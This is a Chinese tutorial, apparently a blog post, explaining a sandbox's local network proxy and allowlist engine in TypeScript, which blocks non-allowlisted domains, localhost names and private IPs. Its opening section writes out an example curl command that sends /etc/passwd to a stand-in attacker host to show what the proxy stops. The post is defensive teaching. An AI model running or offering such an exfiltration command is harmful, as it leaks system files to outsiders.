十二、网络代理与白名单规则引擎

本篇讲解 src/proxy.tssrc/proxyPolicy.ts------沙箱包的"网络守卫"。子进程如果想联网,必须走本地代理;代理会检查目标域名是否在白名单里。

1. 为什么需要网络代理?

假设沙箱模式是 workspace-write + network: true,意味着子进程可以联网。但**"能联网"不等于"能连任何网站"**。

如果子进程执行了:

bash 复制代码
curl https://evil-server.com/steal?data=$(cat /etc/passwd)

没有代理的话,这条命令会直接执行,数据就泄露了。

有了代理 ,子进程的网络请求会先到本地代理,代理检查 evil-server.com 不在白名单里,直接返回 403。

2. 整体架构

css 复制代码
子进程(如 curl)
    │ HTTP_PROXY=http://127.0.0.1:8787
    ▼
本地代理(proxy.ts,监听 127.0.0.1:8787)
    │
    ├── HTTP 请求 → handleHttpRequest()
    │       │
    │       ▼ evaluateProxyAccess()
    │       ├── 白名单命中 → 转发到目标服务器
    │       └── 白名单未命中 → 返回 403
    │
    └── CONNECT 请求 → handleConnect()
            │
            ▼ evaluateProxyAccess()
            ├── 白名单命中 → 建立 TCP 隧道
            └── 白名单未命中 → 返回 403

3. proxyPolicy.ts------规则引擎

3.1 normalizeHost------标准化主机名

typescript 复制代码
export function normalizeHost(host: string) {
  return host.replace(/^\[/, '').replace(/\]$/, '').toLowerCase();
}

把 IPv6 地址的方括号去掉([::1]::1),统一转小写。

3.2 parseAllowRule------解析白名单规则

typescript 复制代码
export function parseAllowRule(rule: string): { hostPattern: string; port?: number } {
  const trimmed = rule.trim().toLowerCase();
  const portMatch = trimmed.match(/^(.*):(\d+)$/);
  if (!portMatch) return { hostPattern: trimmed };
  return { hostPattern: portMatch[1], port: Number(portMatch[2]) };
}

规则格式:

  • registry.npmjs.org → 只匹配主机名,端口默认 80/443
  • registry.npmjs.org:443 → 匹配主机名 + 指定端口

3.3 matchesAllowRule------匹配白名单规则

typescript 复制代码
export function matchesAllowRule(rule: string, host: string, port: number): boolean {
  const { hostPattern, port: explicitPort } = parseAllowRule(rule);
  if (!minimatch(host, hostPattern)) return false;  // 用 minimatch 做通配符匹配
  if (explicitPort !== undefined) return explicitPort === port;
  return DEFAULT_ALLOWED_TARGET_PORTS.has(port);   // 默认只允许 80/443
}

minimatch 支持 * 通配符,所以 *.npmjs.org 可以匹配 registry.npmjs.org

3.4 isSpecialUseHostname------特殊用途主机名

typescript 复制代码
export function isSpecialUseHostname(host: string): boolean {
  return (
    host === 'localhost' ||
    host.endsWith('.localhost') ||
    host.endsWith('.local') ||
    host === 'ip6-localhost'
  );
}

这些主机名直接拒绝------代理不应该代理到本机。

3.5 isBlockedIpAddress------私有 IP 地址检测

typescript 复制代码
export function isBlockedIpAddress(address: string): boolean {
  // ... 检测 IPv4 和 IPv6 的私有/保留地址
  // 10.x.x.x → 阻止
  // 127.x.x.x → 阻止
  // 192.168.x.x → 阻止
  // 172.16~31.x.x → 阻止
  // ::1 → 阻止
  // fc00::/7 → 阻止
  // ...
}

即使白名单域名解析到了私有 IP 地址,也会被拦截。这是为了防止 DNS 重绑定攻击(DNS Rebinding)。

3.6 evaluateProxyAccess------综合判定

typescript 复制代码
export async function evaluateProxyAccess(options: {
  host: string;
  port: number;
  allowRules: string[];
  lookup?: ProxyLookupFn;
}): Promise<ProxyAccessDecision> {
  const normalizedHost = normalizeHost(options.host);

  // 1. 无效主机名
  if (!normalizedHost) return { allowed: false, reason: 'invalid_host' };

  // 2. 特殊用途主机名
  if (isSpecialUseHostname(normalizedHost)) return { allowed: false, reason: 'special_use_hostname' };

  // 3. 白名单匹配
  const matchedRule = options.allowRules.find(rule => matchesAllowRule(rule, normalizedHost, options.port));
  if (!matchedRule) return { allowed: false, reason: 'host_or_port_not_allowed' };

  // 4. DNS 解析
  const resolvedAddresses = await resolveAddresses(normalizedHost, options.lookup ?? dns.lookup);
  if (resolvedAddresses.length === 0) return { allowed: false, reason: 'resolution_failed' };

  // 5. 私有 IP 检测
  if (resolvedAddresses.some(addr => isBlockedIpAddress(addr))) {
    return { allowed: false, reason: 'blocked_ip_address' };
  }

  // 6. 通过
  return { allowed: true, normalizedHost, matchedRule, resolvedAddress: resolvedAddresses[0] };
}

五道检查

  1. 主机名有效吗?
  2. 不是 localhost 等特殊主机名吧?
  3. 在白名单里吗?
  4. DNS 能解析吗?
  5. 解析出的 IP 不是私有地址吧?

全部通过才放行。

4. proxy.ts------HTTP 代理服务

4.1 启动代理

typescript 复制代码
const PORT = Number(process.env.PROXY_PORT || 8787);
const server = http.createServer((req, res) => {
  void handleHttpRequest(req, res);
});

server.on('connect', (req, clientSocket, head) => {
  void handleConnect(req, clientSocket as net.Socket, head);
});

server.listen(PORT, '127.0.0.1', () => {
  console.log(`Sandbox proxy listening on http://127.0.0.1:${PORT}`);
});

4.2 HTTP 请求处理

typescript 复制代码
async function handleHttpRequest(req, res) {
  const url = new URL(req.url || '', `http://${req.headers.host}`);
  const host = normalizeHost(url.hostname);
  const port = Number(url.port || 80);

  const decision = await evaluateProxyAccess({ host, port, allowRules: loadAllowlist().allow });

  if (!decision.allowed) {
    res.writeHead(403, { 'X-Sandbox-Proxy-Block': `${decision.reason}: ${host}` });
    res.end(`Blocked by sandbox proxy: ${host}\n`);
    return;
  }

  // 放行:创建代理请求转发
  const proxyReq = http.request(
    { hostname: decision.resolvedAddress, port, path: url.pathname + url.search, method: req.method, headers: req.headers },
    (proxyRes) => {
      res.writeHead(proxyRes.statusCode || 502, proxyRes.headers);
      proxyRes.pipe(res);
    },
  );
  req.pipe(proxyReq);
}

4.3 CONNECT 隧道处理(HTTPS)

typescript 复制代码
async function handleConnect(req, clientSocket, head) {
  const [rawHost, rawPort] = (req.url || '').split(':');
  const host = normalizeHost(rawHost || '');
  const port = Number(rawPort || 443);

  const decision = await evaluateProxyAccess({ host, port, allowRules: loadAllowlist().allow });

  if (!decision.allowed) {
    deny(clientSocket, host, decision.reason ?? 'host_not_allowed');
    return;
  }

  // 建立隧道
  const serverSocket = net.connect(port, decision.resolvedAddress, () => {
    clientSocket.write('HTTP/1.1 200 Connection Established\r\n\r\n');
    serverSocket.write(head);
    serverSocket.pipe(clientSocket);
    clientSocket.pipe(serverSocket);
  });
}

HTTPS 请求的处理方式和 HTTP 完全不同,原因是 HTTPS 的内容是加密的------代理不可能像处理 HTTP 那样"拆开看一眼再转发"。

所以代理用的是 CONNECT 隧道模式,整个过程可以用一个生活比喻来理解:

你要给一个朋友寄加密信件,但邮局规定所有信件必须经过检查。怎么办? 你跟邮局说:"我只告诉你收件人地址,你帮我确认这个地址是不是安全的就行。确认安全后,你就给我和收件人之间搭一条专线,信件直接送达,你不拆开看。" 邮局查了一下地址,说"没问题,这是白名单里的地址",于是搭了一条专线。从此你和收件人直接通话,邮局只负责"搭线",看不到信件内容。

对应到代码里的步骤:

  1. 客户端请求 :子进程向代理发送 CONNECT registry.npmjs.org:443,意思是"我要和这个服务器建一条加密隧道"
  2. 代理查白名单evaluateProxyAccess 检查域名是否在白名单里
  3. 拒绝或放行:不在白名单 → 直接拒绝;在白名单 → 继续
  4. 搭隧道 :代理用自己的 socket 连上目标服务器,然后把客户端的 socket 和服务器的 socket 用 pipe() 对接------从此两边的数据直接流过去,代理只当"管道"不做任何解读
  5. 通知客户端200 Connection Established 意思是"隧道搭好了,你可以开始加密通信了"

关键点:代理只决定"要不要搭这条隧道",一旦搭好了,加密内容从客户端直达服务器,代理看不到也改不了。

这就是为什么 HTTPS 代理比 HTTP 代理更安全------即使代理本身被攻破,攻击者也只能知道"你连了哪个域名",但看不到你传输的具体内容。

4.4 白名单配置

json 复制代码
// src/config/network-allowlist.json
{
  "allow": [
    "registry.npmjs.org",
    "*.npmjs.org",
    "github.com",
    "*.github.com",
    "api.github.com"
  ]
}

默认只允许访问 npm 和 GitHub 相关域名。

5. 小结

模块 作用
proxyPolicy.ts 规则引擎:白名单匹配、DNS 解析、私有 IP 检测
proxy.ts HTTP 代理服务:拦截 HTTP 和 CONNECT 请求
network-allowlist.json 白名单配置文件

五道网络检查:

  1. 主机名有效性
  2. 特殊用途主机名
  3. 白名单匹配
  4. DNS 解析
  5. 私有 IP 地址

核心思想:想联网?先问代理。代理说不许,就不许。

相关推荐
秋91 天前
从 Python 后端工程师转型 AI Engineer(AI 工程化)的完整补课清单(2026实战版)
开发语言·人工智能·python
啦啦啦_99991 天前
5. 迁移学习
人工智能·机器学习·迁移学习
A.说学逗唱的Coke1 天前
【AI·Coding】TDD × SDD × AI Coding:从“测试驱动“到“规范驱动“的智能协作实践
人工智能·驱动开发·tdd
云烟成雨TD1 天前
Spring AI Alibaba 1.x 系列【78】沙箱(Sandbox)
java·人工智能·spring
tq10861 天前
基于SLIP的防幻觉的指南
人工智能
甲维斯1 天前
Kimi版超级玛丽效果“惊人”,配额不足5厘米!
前端·人工智能
console.log('npc')1 天前
AI前端工程与生成式UI学习路线
前端·人工智能·ui
秋91 天前
3年经验Python后端转AI Engineer:3个月实战转型计划(2026版)
开发语言·人工智能·python
圣殿骑士-Khtangc1 天前
GPT-5.5 技术深度解析与企业级生产落地实战:从幻觉率下降到百万Token工程化
人工智能·gpt
2601_961963381 天前
技术解剖:哈希值、区块链与CA认证如何守护电子合同安全?
网络·人工智能·安全·区块链·智能合约·政务